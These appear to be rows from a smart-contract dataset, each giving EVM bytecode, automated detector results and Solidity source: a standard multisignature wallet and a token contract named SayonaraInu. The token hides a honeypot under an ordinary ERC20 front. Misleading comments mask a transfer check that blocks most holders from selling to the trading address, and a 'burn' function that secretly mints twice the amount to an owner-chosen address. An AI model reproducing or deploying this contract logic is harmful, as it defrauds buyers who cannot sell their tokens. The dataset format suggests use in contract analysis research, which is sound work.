000000000000000000600052601260045260246000fd5b6000611f3b82611996565b9150611f4683611996565b925082611f5657611f55611f01565b5b828204905092915050565b6000611f6c82611996565b9150611f7783611996565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fac57611fab611e75565b5b828201905092915050565b6000611fc282611996565b9150611fcd83611996565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561200657612005611e75565b5b828202905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061206d602683611c84565b915061207882612011565b604082019050919050565b6000602082019050818103600083015261209c81612060565b905091905056fea26469706673582212202ad0ce9462bd9847b5939325175563f4270944e6e55d248998ef60be930976d164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,168 |
0x26f273be2dD2E91F6971961182D39ddEE9eC7Db0
|
/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
}
contract SayonaraInu is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}
|
0x6080604052600436106100955760003560e01c806370a082311161005957806370a082311461019957806395d89b41146101d65780639dc29fac14610201578063a9059cbb1461022a578063dd62ed3e146102675761009c565b806306fdde031461009e578063095ea7b3146100c957806318160ddd1461010657806323b872dd14610131578063313ce5671461016e5761009c565b3661009c57005b005b3480156100aa57600080fd5b506100b36102a4565b6040516100c09190611162565b60405180910390f35b3480156100d557600080fd5b506100f060048036038101906100eb919061121d565b610332565b6040516100fd9190611278565b60405180910390f35b34801561011257600080fd5b5061011b610482565b60405161012891906112a2565b60405180910390f35b34801561013d57600080fd5b50610158600480360381019061015391906112bd565b6104dd565b6040516101659190611278565b60405180910390f35b34801561017a57600080fd5b50610183610868565b604051610190919061132c565b60405180910390f35b3480156101a557600080fd5b506101c060048036038101906101bb9190611347565b61087b565b6040516101cd91906112a2565b60405180910390f35b3480156101e257600080fd5b506101eb6108c4565b6040516101f89190611162565b60405180910390f35b34801561020d57600080fd5b506102286004803603810190610223919061121d565b610952565b005b34801561023657600080fd5b50610251600480360381019061024c919061121d565b610ad8565b60405161025e9190611278565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190611374565b610d04565b60405161029b91906112a2565b60405180910390f35b600380546102b1906113e3565b80601f01602080910402602001604051908101604052809291908181526020018280546102dd906113e3565b801561032a5780601f106102ff5761010080835404028352916020019161032a565b820191906000526020600020905b81548152906001019060200180831161030d57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561041357816006819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047091906112a2565b60405180910390a36001905092915050565b60006104d8600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600554610d8b90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156105695750600073ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156105b45782600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105bf565b6105be8484610dae565b5b61061182600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d8b90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106e382600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d8b90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107b582600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f9990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161085591906112a2565b60405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600180546108d1906113e3565b80601f01602080910402602001604051908101604052809291908181526020018280546108fd906113e3565b801561094a5780601f1061091f5761010080835404028352916020019161094a565b820191906000526020600020905b81548152906001019060200180831161092d57829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1190611487565b60405180910390fd5b610a248282610fbc565b610a7681600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d8b90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ace81600554610d8b90919063ffffffff16565b6005819055505050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b62906114f3565b60405180910390fd5b610bbd82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d8b90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5282600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f9990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cf291906112a2565b60405180910390a36001905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115610d9a57600080fd5b8183610da69190611542565b905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580610eb15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015610eb05750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b80610f565750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015610f555750600654600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b610f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8c906115c2565b60405180910390fd5b5050565b60008183610fa791906115e2565b905082811015610fb657600080fd5b92915050565b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061101e60028261100d9190611638565b600554610f9990919063ffffffff16565b6005819055506110826002826110349190611638565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f9990919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156111035780820151818401526020810190506110e8565b83811115611112576000848401525b50505050565b6000601f19601f8301169050919050565b6000611134826110c9565b61113e81856110d4565b935061114e8185602086016110e5565b61115781611118565b840191505092915050565b6000602082019050818103600083015261117c8184611129565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111b482611189565b9050919050565b6111c4816111a9565b81146111cf57600080fd5b50565b6000813590506111e1816111bb565b92915050565b6000819050919050565b6111fa816111e7565b811461120557600080fd5b50565b600081359050611217816111f1565b92915050565b6000806040838503121561123457611233611184565b5b6000611242858286016111d2565b925050602061125385828601611208565b9150509250929050565b60008115159050919050565b6112728161125d565b82525050565b600060208201905061128d6000830184611269565b92915050565b61129c816111e7565b82525050565b60006020820190506112b76000830184611293565b92915050565b6000806000606084860312156112d6576112d5611184565b5b60006112e4868287016111d2565b93505060206112f5868287016111d2565b925050604061130686828701611208565b9150509250925092565b600060ff82169050919050565b61132681611310565b82525050565b6000602082019050611341600083018461131d565b92915050565b60006020828403121561135d5761135c611184565b5b600061136b848285016111d2565b91505092915050565b6000806040838503121561138b5761138a611184565b5b6000611399858286016111d2565b92505060206113aa858286016111d2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113fb57607f821691505b6020821081141561140f5761140e6113b4565b5b50919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006114716021836110d4565b915061147c82611415565b604082019050919050565b600060208201905081810360008301526114a081611464565b9050919050565b7f706c656173652077616974000000000000000000000000000000000000000000600082015250565b60006114dd600b836110d4565b91506114e8826114a7565b602082019050919050565b6000602082019050818103600083015261150c816114d0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061154d826111e7565b9150611558836111e7565b92508282101561156b5761156a611513565b5b828203905092915050565b7f63616e6e6f7420626520746865207a65726f2061646472657373000000000000600082015250565b60006115ac601a836110d4565b91506115b782611576565b602082019050919050565b600060208201905081810360008301526115db8161159f565b9050919050565b60006115ed826111e7565b91506115f8836111e7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561162d5761162c611513565b5b828201905092915050565b6000611643826111e7565b915061164e836111e7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561168757611686611513565b5b82820290509291505056fea2646970667358221220dc960532a6eacc9f0e79fbd322b134c5d0dbab443179461914c3489ec3d3654a64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,169 |
0x4e29e281ed7bac9c4a3b93f5a2b1b8920916b17e
|
pragma solidity ^0.4.11;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="86f5f2e3e0e7e8a8e1e3e9f4e1e3c6e5e9e8f5e3e8f5fff5a8e8e3f2">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed _sender, uint indexed _transactionId);
event Revocation(address indexed _sender, uint indexed _transactionId);
event Submission(uint indexed _transactionId);
event Execution(uint indexed _transactionId);
event ExecutionFailure(uint indexed _transactionId);
event Deposit(address indexed _sender, uint _value);
event OwnerAddition(address indexed _owner);
event OwnerRemoval(address indexed _owner);
event RequirementChange(uint _required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filters are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c271461017c578063173825d9146101df57806320ea8d86146102185780632f54bf6e1461023b5780633411c81c1461028c57806354741525146102e65780637065cb481461032a578063784547a7146103635780638b51d13f1461039e5780639ace38c2146103d5578063a0e67e2b146104d3578063a8abe69a1461053e578063b5dc40c3146105d6578063b77bf6001461064f578063ba51a6df14610678578063c01a8c841461069b578063c6427474146106be578063d74f8edd14610757578063dc8452cd14610780578063e20056e6146107a9578063ee22610b14610801575b61017a5b6000341115610177573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b565b005b341561018757600080fd5b61019d6004808035906020019091905050610824565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101ea57600080fd5b610216600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610864565b005b341561022357600080fd5b6102396004808035906020019091905050610b07565b005b341561024657600080fd5b610272600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cb1565b604051808215151515815260200191505060405180910390f35b341561029757600080fd5b6102cc600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd1565b604051808215151515815260200191505060405180910390f35b34156102f157600080fd5b610314600480803515159060200190919080351515906020019091905050610d00565b6040518082815260200191505060405180910390f35b341561033557600080fd5b610361600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d94565b005b341561036e57600080fd5b6103846004808035906020019091905050610f90565b604051808215151515815260200191505060405180910390f35b34156103a957600080fd5b6103bf6004808035906020019091905050611078565b6040518082815260200191505060405180910390f35b34156103e057600080fd5b6103f66004808035906020019091905050611147565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104c15780601f10610496576101008083540402835291602001916104c1565b820191906000526020600020905b8154815290600101906020018083116104a457829003601f168201915b50509550505050505060405180910390f35b34156104de57600080fd5b6104e66111a3565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561052a5780820151818401525b60208101905061050e565b505050509050019250505060405180910390f35b341561054957600080fd5b61057e600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611238565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105c25780820151818401525b6020810190506105a6565b505050509050019250505060405180910390f35b34156105e157600080fd5b6105f76004808035906020019091905050611399565b